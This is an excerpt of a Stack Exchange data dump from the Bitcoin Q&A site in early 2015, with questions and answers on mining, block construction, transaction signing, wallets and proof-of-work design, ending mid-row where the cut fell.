  <row Id="35648" PostTypeId="1" AcceptedAnswerId="35655" CreationDate="2015-01-21T02:09:56.537" Score="3" ViewCount="663" Body="&lt;p&gt;According to &lt;a href=&quot;https://bitcointalk.org/index.php?topic=216938.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=216938.0&lt;/a&gt; one transaction can only be contained in one block. If I understand correctly, miners can freely decide what transaction they include in their block and what they don't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is it that multiple miners concurrently deciding what block to build on, and what transactions to include, produce blocks without any duplicate transactions? Is there a reservation list of transactions to be confirmed and miners that will include them?&lt;/p&gt;&#xA;" OwnerUserId="23025" LastEditorUserId="5406" LastEditDate="2016-04-10T09:56:57.160" LastActivityDate="2016-04-10T09:56:57.160" Title="How are unconfirmed transactions divided into different blocks?" Tags="|blockchain|transaction-selection|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35651" PostTypeId="1" AcceptedAnswerId="35652" CreationDate="2015-01-21T02:55:39.780" Score="1" ViewCount="630" Body="&lt;p&gt;Each block in the blockchain contains a pointer to the previous block (&lt;a href=&quot;https://en.bitcoin.it/wiki/Block_hashing_algorithm&quot; rel=&quot;nofollow&quot;&gt;block header&lt;/a&gt;). If multiple blocks reference certain block as their parent, only the one that is part of longest chain is accepted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose that the hash of the current blockchain tip (last block) is 'A'. Two miner concurrently works on new blocks (containing different transactions) referring to A as a parent. Is it necessary for the slower miner to reset his work when faster miner finishes his block (with hash 'B') and broadcasts it, because the next block has to reference 'B' instead of 'A' as a parent?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this principle holds, does it mean that slower miners have to restart their work more frequently because they are outrun by faster miners who publish their blocks and so change the blockchain tip?&lt;/p&gt;&#xA;" OwnerUserId="23025" LastEditorUserId="5406" LastEditDate="2016-04-10T09:58:38.373" LastActivityDate="2016-04-10T09:58:38.373" Title="Is it necessary for all miner to reset mining when the tip of blockchain has changed?" Tags="|blockchain|mining-theory|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35652" PostTypeId="2" ParentId="35651" CreationDate="2015-01-21T03:19:22.777" Score="4" Body="&lt;p&gt;Correct: when block B is broadcast and validated, all miners need to construct new blocks containing a hash of block B's header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it takes only a minuscule amount of computer processing time to construct a new block, so there is effectively no such thing as &quot;restarting work&quot;.  Mining is specifically designed to be progress-free: you have the same chance of finding a valid block after a millisecond of work as you do after an hour of work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Progress-free mining means that a miner with &lt;em&gt;x&lt;/em&gt; hash rate should produce &lt;em&gt;n&lt;/em&gt; blocks over time, and a miner with &lt;em&gt;2x&lt;/em&gt; hash rate should produce &lt;em&gt;2n&lt;/em&gt; blocks over time---there should be no special advantage to the more powerful miner.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2015-01-21T03:19:22.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35653" PostTypeId="2" ParentId="12603" CreationDate="2015-01-21T03:26:43.300" Score="2" Body="&lt;p&gt;Any hash is a valid hash.  The question is if you're hash meets our criteria.  What you hash is actually a couple of things (we'll come back to this) that lined up together make a string that is a string of a specific length.  You then hash that entire string.&#xA;Think of your resulting hash as a number.  What we want is that resulting number to be less than a target number.  So it's like rolling a billion sided die, and coming up with a number under the target number.  That target number is considered &quot;difficulty&quot;.  As more people are rolling the die, we lower what that target number is to reduce the likelihood any one die-roll will hit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So importantly, some of those things that we line up in the string that we hash are things that we're allowed to adjust.  Hashing isn't exactly like rolling the die because if we has the same thing over and over we get the same result over and over.  However even a minor adjustment in what we hash can have a major impact on what the resulting hash is.  The primary item that we can manipulate is called the &quot;nonce&quot;.  Basically we pick a nonce to use in the string, hash the whole string, and see what we get.  If the hash isn't a hit, we modify the nonce and try again.  The nonce itself isn't very large so there's a limited number of variations of the nonce that you can try.  The next item we can change is a timestamp.  We're allowed to wiggle the timestamp too.  Every wiggle of the timestamp allows us through the entire set of possible nonce values all over again.  We repeat this process of exhausting the nonce possibilities, then wiggling the timestamp over and over until the resulting hash is lower than the difficulty target number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When that happens, we then proclaim to the world that this timestamp plus this nonce works to solve the block.  Others validate it to be true and it's added to the block chain.  A block is considered &quot;Validated&quot; once it's a certain number of blocks &quot;deep&quot; in the block chain, meaning it's a historical block compared to the current block.  Validation is a little bit of a misnomer here because it's not that the block isn't already known to be valid.  What we're validating is the proof of work, meaning once that historical block is buried far enough the amount of effort involved to create that history is insurmountable for someone else to try to create a different variation of the history.  They would have to create their own version of that block (the only reason being to write in their own version of the transactions, i.e. steal coins) then solve it themselves, then solve the next block and the one after and so on and &quot;catch up&quot; with everybody else.  This means they would have to out-race the world in the dice rolling game.  Maybe once in the history of the universe someone might get lucky on the nonce with two or three blocks back to back, but with the 120 blocks that most mining pools and exchanges require now?  Not going to happen, ever.  &lt;/p&gt;&#xA;" OwnerUserId="22924" LastActivityDate="2015-01-21T03:26:43.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35654" PostTypeId="1" AcceptedAnswerId="35668" CreationDate="2015-01-21T07:15:54.320" Score="1" ViewCount="337" Body="&lt;p&gt;I registered a monetary system currency on the NXT platform and made it exchangable as one of the properties. But now I want to make it reservable for a crowdfunding campaign. How do you reissue the same currency on the NXT platform? I dont see a reissue button anywhere. &lt;/p&gt;&#xA;" OwnerUserId="3029" LastActivityDate="2015-01-22T02:39:52.973" Title="How to reissue a currency you own in NXT Monetary System (Sidechains)?" Tags="|nxt|sidechains|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35655" PostTypeId="2" ParentId="35648" CreationDate="2015-01-21T07:47:54.380" Score="1" Body="&lt;p&gt;When a miner (call him Pete) learns that a new block (call it X) has been mined by someone else, he will normally update the header of the block he is trying to mine, so that it lists X as the previous block.  (That way, Pete is now trying to build on top of X, rather than trying to replace it.)  At the same time, Pete will note which transactions were included in block X, and remove them from his &quot;memory pool&quot; of unconfirmed transactions that he was planning to include in the block he was trying to mine.  He will rebuild a Merkle tree with the remaining transactions he wishes to include, and update his block headers to match.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this way, when Pete does succeed in mining a block, it won't contain any transactions that have been contained in previously mined blocks.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2015-01-21T07:47:54.380" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35656" PostTypeId="2" ParentId="35648" CreationDate="2015-01-21T08:12:02.600" Score="1" Body="&lt;p&gt;When a newly discovered block is announced to the network, every node must verify that all the data contained in it is valid. If such a block lists a transaction that was already listed in any ancestor block&lt;sup&gt;(&lt;/sup&gt;*&lt;sup&gt;)&lt;/sup&gt;, the node must reject the new block entirely. The block will be ignored and the network waits until someone announces a block that &lt;em&gt;is&lt;/em&gt; valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;(&lt;/sup&gt;*&lt;sup&gt;) Every block contains a reference to its parent block, ensuring that bitcoin's entire transaction history is verifiable by anyone; hence the term &lt;em&gt;block chain&lt;/em&gt;.&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="19556" LastActivityDate="2015-01-21T08:12:02.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35657" PostTypeId="2" ParentId="21320" CreationDate="2015-01-21T14:07:24.993" Score="-3" Body="&lt;p&gt;XBC is used by a POS coin called bitcoinplus.&lt;/p&gt;&#xA;" OwnerUserId="23035" LastActivityDate="2015-01-21T14:07:24.993" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35658" PostTypeId="2" ParentId="35627" CreationDate="2015-01-21T15:50:59.407" Score="1" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;Miners using one might have no idea how close to a discovery they are, but they would know that they are &amp;quot;getting closer&amp;quot;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Yes, this is possible.&lt;/p&gt;&#xA;&lt;p&gt;Instead of requiring one block header with difficult A, you could require 16 block headers with difficulty A/16. This would make it possible to figure out how far along you are in the process.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;In contrast, stochastically dependent proof of work could allow for efficient implementation of parallel confirmations; thereby greatly reducing transaction waiting time, since rediscoveries could be expected to follow shortly after the first discovery of a block. Assume a cryptocurrency using such proofs to reward not just the first discovery of a block, but also the first X of its rediscoveries.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;That's possible too. You could do this by having each block in Bitcoin have 1 or more parents. You'd need some sort of way rule to decide which transactions to keep in a merge block (since some would inevitably conflict).&lt;/p&gt;&#xA;&lt;h3&gt;Drawbacks of the previous two changes:&lt;/h3&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Normally, a miner includes transactions as soon as they hear about them. Including a transaction doesn't mean that you lose any progress. But if you were getting closer, you wouldn't want to abandon that.&lt;/li&gt;&#xA;&lt;li&gt;Only the X strongest miners and mining pools would stay in business. Everyone else may as well not bother with mining.&lt;/li&gt;&#xA;&lt;li&gt;Full nodes would need X times more bandwidth to verify blocks. Once the blocks were verified, it would also take extra storage. If the blocks were very different, it could take X times more storage space. If the blocks were identical, it would be only an extra ~350 bytes per block (coinbase and block header).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-01-21T21:32:46.587" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35660" PostTypeId="1" AcceptedAnswerId="35663" CreationDate="2015-01-21T17:21:15.893" Score="3" ViewCount="1252" Body="&lt;p&gt;I am working in a computational research lab, and we're taking a look at Bitcoin. I'm trying to develop a simulation of Bitcoin mining for a nonexistent computer architecture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to simulate the mining of a single block (say... the Satoshi block) without actually doing the work. To my understanding, each block in the chain has the winning nonce that enabled the miner to mine the block, but I also want to enumerate:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;all of the losing hashes&lt;/li&gt;&#xA;&lt;li&gt;other potential winners that could have worked&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Part of our simulation is the mathematics of our simulation (and the hypothetical architecture) could operate on all possible hashes at once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A 256 bit hash for all 2^32 nonce values[1] of a block is only 2^(8+32) bits, or about 137.4 gigabytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this sounds like a silly question, but is there some place to download all 137.4 gigabytes of hashes for the Satoshi block or some other block? Otherwise, what is the best way to generate them? Can I pick up an old ASIC miner and have it write every single hash to a hard drive?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Footnotes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[1] I know that there are extra sources of variation in the transaction list, coinbase nonce, timestamp, etc., but we are currently limiting the scope of our simulation to just the original nonce while keeping everything else constant.&lt;/p&gt;&#xA;" OwnerUserId="22810" LastEditorUserId="5406" LastEditDate="2016-04-09T07:58:38.920" LastActivityDate="2017-11-06T16:33:12.643" Title="Given a block, is there a list of all hashes for all possible 2^32 nonce values?" Tags="|hash|mining-theory|sha256|block-header|nonce|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35662" PostTypeId="1" AcceptedAnswerId="35665" CreationDate="2015-01-21T17:47:39.917" Score="7" ViewCount="2189" Body="&lt;p&gt;Every time a new block is added on top of block chain, the miners have to restart their work because the next block has to have a proper reference to previous block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's suppose that there is some nonce for each block such that there is also sufficiently small hash (smaller than target). In general, there are 2&lt;sup&gt;256&lt;/sup&gt; possible hashes. Let the target be &lt;em&gt;t&lt;/em&gt;. The target can be also understand as a number of acceptable hashes. So there is &lt;em&gt;t&lt;/em&gt; / 2&lt;sup&gt;256&lt;/sup&gt; probability to find a proper hash in each try i.e. to find a block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The number of unsuccessful tries before a block follows a &lt;a href=&quot;http://en.wikipedia.org/wiki/Geometric_distribution&quot; rel=&quot;nofollow&quot;&gt;geometrical distribution&lt;/a&gt; with parameter &lt;em&gt;p&lt;/em&gt;=&lt;em&gt;t&lt;/em&gt;/2&lt;sup&gt;256&lt;/sup&gt;. The expected value of a variable following such a distribution is EX = 1/&lt;em&gt;p&lt;/em&gt; = 2&lt;sup&gt;256&lt;/sup&gt;/&lt;em&gt;t&lt;/em&gt;. So, each mining pool has to spend 2&lt;sup&gt;256&lt;/sup&gt;/&lt;em&gt;t&lt;/em&gt; tries in average to find a block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is it that concurrent mining can be efficient, providing that each time some pool publishes a new block all other pools have to restart their work and thus throw out their tries on blocks that now can't be used any more?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: Please be a bit detailed. I've already read explanations like: Every try has equal chance to success. But I can't get it from such short hints.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="23025" LastEditorUserId="5406" LastEditDate="2016-03-10T09:34:45.453" LastActivityDate="2016-03-10T09:34:45.453" Title="How is it that concurrent miners do not subvert each other's work?" Tags="|blockchain|mining-pools|proof-of-work|block-header|mining-technical-details|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35663" PostTypeId="2" ParentId="35660" CreationDate="2015-01-21T18:06:27.523" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I know this sounds like a silly question, but is there some place to download all 137.4 gigabytes of hashes for the Satoshi block or some other block?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Nope.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Otherwise, what is the best way to generate them?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/nickodell/ccd95f87095b45259285&quot; rel=&quot;nofollow&quot;&gt;Here's a program that does what you asked.&lt;/a&gt; It's a modification of Ken Shirrif's &lt;a href=&quot;https://gist.github.com/shirriff/cd5c66da6ba21a96bb26&quot; rel=&quot;nofollow&quot;&gt;example mining program&lt;/a&gt;. It mines the genesis block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It produces hashes at 2 MB/s on my laptop.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Can I pick up an old ASIC miner and have it write every single hash to a hard drive?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Maybe, but it wouldn't really be faster than doing it with your CPU.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-01-21T18:06:27.523" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35664" PostTypeId="2" ParentId="35662" CreationDate="2015-01-21T18:25:05.017" Score="4" Body="&lt;p&gt;An analogy for mining would be the following:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;You are at a lottery booth. The lottery booth has 1,000 lottery tickets in a bowl (which are always mixed perfectly). There is only one ticket with a prize in the bowl. Every time somebody buys one lottery ticket, the booth owner prints a new ticket and adds it to the bowl, replacing a loser with a new losing ticket, and a winner with a winning ticket, so that there is always 1 winning ticket and 999 losing tickets in the bowl.&lt;/p&gt;&#xA;&lt;p&gt;Whenever somebody buys a ticket, chances are 1 in 1,000 that he wins.&lt;/p&gt;&#xA;&lt;p&gt;You might win with your first ticket, but you might win with your 10,000th.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;As you already mentioned, every try at finding a new block has an equal chance of being the winning ticket. That means that there is no such thing as &amp;quot;progress towards the block&amp;quot;. It either works or it doesn't.&lt;/p&gt;&#xA;&lt;p&gt;So now, &lt;strong&gt;somebody found a block&lt;/strong&gt;. If people keep mining on the old block, they would have to find two blocks in a row in order to profit, because they would have to find one to catch up, and another to overtake the current best chain. Rather they will just want to compete for the next block again!&lt;/p&gt;&#xA;&lt;p&gt;Mining is not supposed to be efficient. Mining is supposed to be inefficient, in that it aims to prove that a sufficient amount of computational work has been expended to protect the network from being subverted.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-01-21T18:25:05.017" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35665" PostTypeId="2" ParentId="35662" CreationDate="2015-01-21T18:26:24.230" Score="6" Body="&lt;p&gt;The number of hashes a miner has tried in the past does not affect the probability that a miner will get the correct hash in the next immediate calculation. Thus, it does not matter for the miner from an efficiency viewpoint if he starts work on a new block since the probability of getting the correct hash is exactly the same as if he kept working on the old block. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Think of this coin flip example: The first goal is to try to get heads. You failed the first several flips and than the goal changes to getting tails. The probability of you meeting your goal is still exactly the same. &lt;/p&gt;&#xA;" OwnerUserId="7267" LastActivityDate="2015-01-21T18:26:24.230" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="35666" PostTypeId="2" ParentId="35627" CreationDate="2015-01-21T21:11:11.600" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Are there proof of work algorithms that are stochastically dependent?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes. Another idea similar to the one that Nick described:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add an extra 8 bytes to the end of each transaction when making the merkle tree, in a field called &lt;code&gt;nEffort&lt;/code&gt;. The &lt;code&gt;nBits&lt;/code&gt; field in the header describes the total amount of work that must be done (on average) on the block. Split that work up by the number of transactions in the block, and then you can mine each transaction individually by altering &lt;code&gt;nEffort&lt;/code&gt; until the leaf of the merkle tree hashes to a low enough value. Note that this does not replace Transactions IDs, it would essentially just be an extra field of each leaf element of the merkle tree.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To check the work, you make sure that each leaf of the merkle tree meets the difficulty/Number_of_transactions parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The downsides of this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A block header cannot be verified without having all of the transaction data, which is obviously very limiting for SPV nodes where the security of their transactions is based on how many blocks are including it.&lt;/li&gt;&#xA;&lt;li&gt;This could also make double spends easier. Just mine a transaction giving coins to yourself and release it after you send coins to someone else. &lt;/li&gt;&#xA;&lt;li&gt;It would disincentivize adding new transactions to your block, as each new transaction would mean all previously mined transactions count for less work.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It's probably not a good idea, but it's another way to do a stochastically dependent proof of work. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-01-21T21:28:23.210" LastActivityDate="2015-01-21T21:28:23.210" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35667" PostTypeId="1" CreationDate="2015-01-22T02:04:43.167" Score="0" ViewCount="281" Body="&lt;p&gt;While mining on a NOMP mining pool, I noticed that when you add the confirmed blocks and pending blocks together, they rarely add up to the total blocks found. It is my understanding that the missing blocks were &quot;kicked.&quot; What does it mean when a block is &quot;kicked&quot;?&lt;/p&gt;&#xA;" OwnerUserId="23040" LastEditorUserId="5406" LastEditDate="2023-10-20T17:23:32.080" LastActivityDate="2023-10-20T17:23:32.080" Title="What does it mean when a block is &quot;kicked&quot;?" Tags="|terminology|stale-block|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35668" PostTypeId="2" ParentId="35654" CreationDate="2015-01-22T02:39:52.973" Score="1" Body="&lt;p&gt;If you have not distributed any coins, you can reissue the currency the same way you issued it by following this &lt;a href=&quot;https://wiki.nxtcrypto.org/wiki/Monetary_System#Issue_a_Currency&quot; rel=&quot;nofollow&quot;&gt;guide&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="20940" LastActivityDate="2015-01-22T02:39:52.973" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35669" PostTypeId="2" ParentId="35667" CreationDate="2015-01-22T03:22:41.673" Score="2" Body="&lt;p&gt;The term seems to have been defined in this GitHub issue: &lt;a href=&quot;https://github.com/zone117x/node-open-mining-portal/issues/138#issuecomment-42396180&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/zone117x/node-open-mining-portal/issues/138#issuecomment-42396180&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kicked basically means orphaned one way or another. Apparently, the creator of this pool software was seeing some strange behavior in the way the daemon would report blocks as being orphaned, and decided to just call them all &quot;kicked&quot; blocks than to differentiate how they were orphaned. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are unsure what orphaned blocks are, look at this: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5859/what-are-orphaned-and-stale-blocks/5869#5869&quot;&gt;What are orphaned and stale blocks?&lt;/a&gt;. Essentially they are solved blocks that are not accepted by the network, usually because a different block at the same height was solved at nearly the same time. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2015-01-22T03:22:41.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35670" PostTypeId="1" CreationDate="2015-01-22T03:24:33.683" Score="1" ViewCount="288" Body="&lt;h3&gt;Background&lt;/h3&gt;&#xA;&lt;p&gt;I have Bitcoin-QT 0.9.3 (zip version). bitcoin-qt.exe sits on the internal HDD of my laptop. All of the other stuff (blockchain, wallet,...) on a 128GB USB drive, fully encrypted with TrueCrypt (AES encryption), connected via USB2.0 port. I have bootstrap.dat (21GB copy of blockchain) on the USB drive, too.&lt;/p&gt;&#xA;&lt;h3&gt;Problem&lt;/h3&gt;&#xA;&lt;p&gt;everything is slow via USB2.0 flashdrive. Import of bootstrap.dat  file is barely making progress. It's been 7 days and I'm getting older. The progress bar shows it's 1/3 ready. No other application reads/writes to the USB drive.&lt;/p&gt;&#xA;&lt;h3&gt;Question&lt;/h3&gt;&#xA;&lt;p&gt;I'm considering swapping my flash drive for an external hard drive, but keeping TrueCrypt. Would this help, or would the fact that I have no USB3.0 ports be more important? I'm looking for satisfactory speed results that other people are getting by using bootstrap.dat. As slow as it's going, I'll import the blockchain slower than it's generated.&lt;/p&gt;&#xA;&lt;p&gt;I would prefer your experience over suggestions like &amp;quot;try this...&amp;quot; becase I don't have free HDD space to &amp;quot;experiment&amp;quot;, I just want to buy some HDD and hook it up to USB, but I'm worried that USB2.0 port itself is a bottleneck and I would just waste money. Thus I'm here for clues.&lt;/p&gt;&#xA;&lt;p&gt;I'd prefer an HDD instead of an SSD, but I will hear out both options. I'm not interested in thin clients.&#xA;&lt;strong&gt;(basically I'm looking for cheapest external memory that would work, because flash drives don't work with Bitcoin-QT).&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="22889" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2016-06-08T12:59:27.337" Title="Bitcoin-QT: which external memory (connected via USB2.0 + TrueCrypt) would work?" Tags="|blockchain|bitcoin-core|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35674" PostTypeId="1" CreationDate="2015-01-22T07:04:59.147" Score="1" ViewCount="1415" Body="&lt;p&gt;I would like to be able to use the bitcoin python client to be able to do things like sign transactions offline, create transactions, create multisig transactions, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this without having to download the whole bitcoin blockchain 20 GB?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't mind looking up the bitcoin addresses, outputs and such using an external website (e.g., blockchain.org) using some sort of API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the a client that does this?&lt;/p&gt;&#xA;" OwnerUserId="23044" LastEditorUserId="2306" LastEditDate="2015-01-22T15:45:21.973" LastActivityDate="2015-01-22T15:45:21.973" Title="How to use the bitcoin client without downloading the blockchain?" Tags="|bitcoind|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35675" PostTypeId="2" ParentId="35674" CreationDate="2015-01-22T08:30:14.147" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://electrum.org/&quot; rel=&quot;nofollow&quot;&gt;Electrum&lt;/a&gt; is an SPV wallet which has most of the functionality you mentioned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Multisig is an issue though, the primary solution I'm aware of at this time is hybrid wallets such as &lt;a href=&quot;https://copay.io/&quot; rel=&quot;nofollow&quot;&gt;Copay&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2015-01-22T08:30:14.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35676" PostTypeId="2" ParentId="35674" CreationDate="2015-01-22T10:30:34.077" Score="0" Body="&lt;p&gt;One option to do this programmatically would be to use &lt;a href=&quot;http://bitcore.io/&quot; rel=&quot;nofollow&quot;&gt;Bitcore&lt;/a&gt;. It interfaces with a &quot;blockchain explorer&quot; to obtain stuff like outputs and addresses, and they can either be installed locally or you can use one from the ones already online: &lt;a href=&quot;https://insight.is/&quot; rel=&quot;nofollow&quot;&gt;https://insight.is/&lt;/a&gt; - and they're all open-source coming from the BitPay people.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2015-01-22T10:30:34.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35677" PostTypeId="1" AcceptedAnswerId="35678" CreationDate="2015-01-22T13:39:46.447" Score="0" ViewCount="1124" Body="&lt;p&gt;&lt;br/&gt;&#xA;My question is that, suppose there is a txn &lt;strong&gt;tx(k)&lt;/strong&gt; paid from user &lt;em&gt;u&lt;/em&gt; to &lt;em&gt;v&lt;/em&gt;, that refers two txns &lt;strong&gt;tx(i)&lt;/strong&gt; and &lt;strong&gt;tx(j)&lt;/strong&gt; as it's inputs. Also, both these inputs are meant for different public keys of &lt;em&gt;u&lt;/em&gt;, say, &lt;strong&gt;Pk1(u)&lt;/strong&gt; and &lt;strong&gt;Pk2(u)&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does &lt;em&gt;u&lt;/em&gt; sign &lt;strong&gt;tx(k)&lt;/strong&gt; for &lt;em&gt;v&lt;/em&gt;, i.e. how does she convince &lt;em&gt;v&lt;/em&gt; that she owns both of those public keys? Does she sign &lt;strong&gt;tx(k)&lt;/strong&gt; with both &lt;strong&gt;Sk1(u)&lt;/strong&gt; and &lt;strong&gt;Sk2(u)&lt;/strong&gt;?&lt;br/&gt;&#xA;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="19182" LastActivityDate="2015-01-22T14:36:22.997" Title="Signature on transactions with multiple inputs" Tags="|transactions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35678" PostTypeId="2" ParentId="35677" CreationDate="2015-01-22T14:36:22.997" Score="3" Body="&lt;p&gt;In short words: yes, if you want to redeem two previous outputs in one transaction - you should sign twice.&#xA;The steps for creating such transaction are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;create &quot;template&quot; of transaction for redeeming first output &lt;/li&gt;&#xA;&lt;li&gt;hash it. this will be digest1. &lt;/li&gt;&#xA;&lt;li&gt;sign the digest1 with your privkey1. this will be signature1 &lt;/li&gt;&#xA;&lt;li&gt;create &quot;template&quot; of transaction for redeeming second output &lt;/li&gt;&#xA;&lt;li&gt;hash it. this will be digest2 (not equal to digest1 !) &lt;/li&gt;&#xA;&lt;li&gt;sign the digest2 with your privkey2. this will be signature2 &lt;/li&gt;&#xA;&lt;li&gt;create the transaction itself with {pubkey1, signature1, pubkey2, signature2}&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;note: steps 1,2,3 can be made by Alice who has privkey1. steps 4,5,6 can be made by another person, say Bob who holds privkey2. step 7 can be made by everyone&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2015-01-22T14:36:22.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35679" PostTypeId="1" AcceptedAnswerId="35733" CreationDate="2015-01-22T14:45:14.620" Score="10" ViewCount="1124" Body="&lt;p&gt;Bitcoin's static proof-of-work function SHA256(SHA256(data)) was apparently easy enough to be implement as ASIC which lead to the re-centralization we see today.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what if the PoW function changes for every new block based on the hash of the last block mined? One could generate a new hash chain by seeding a commonly known PRNG with the hash of the last block and use it to generate a chain of hash functions from a (large) pool of commonly known hash functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;RIPEMD(SHA2(SHA3(MD5(RIPEMD(SHA2(data)))))) =&gt; digest (i.e. old block header hash)&lt;/li&gt;&#xA;&lt;li&gt;PRNG(digest) =&gt; SHA2(MD5(SHA3(SHA3(RIPEMD(RIPEMD(data))))))&lt;/li&gt;&#xA;&lt;li&gt;digest (i.e. new block header hash)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This way every miner would know how to 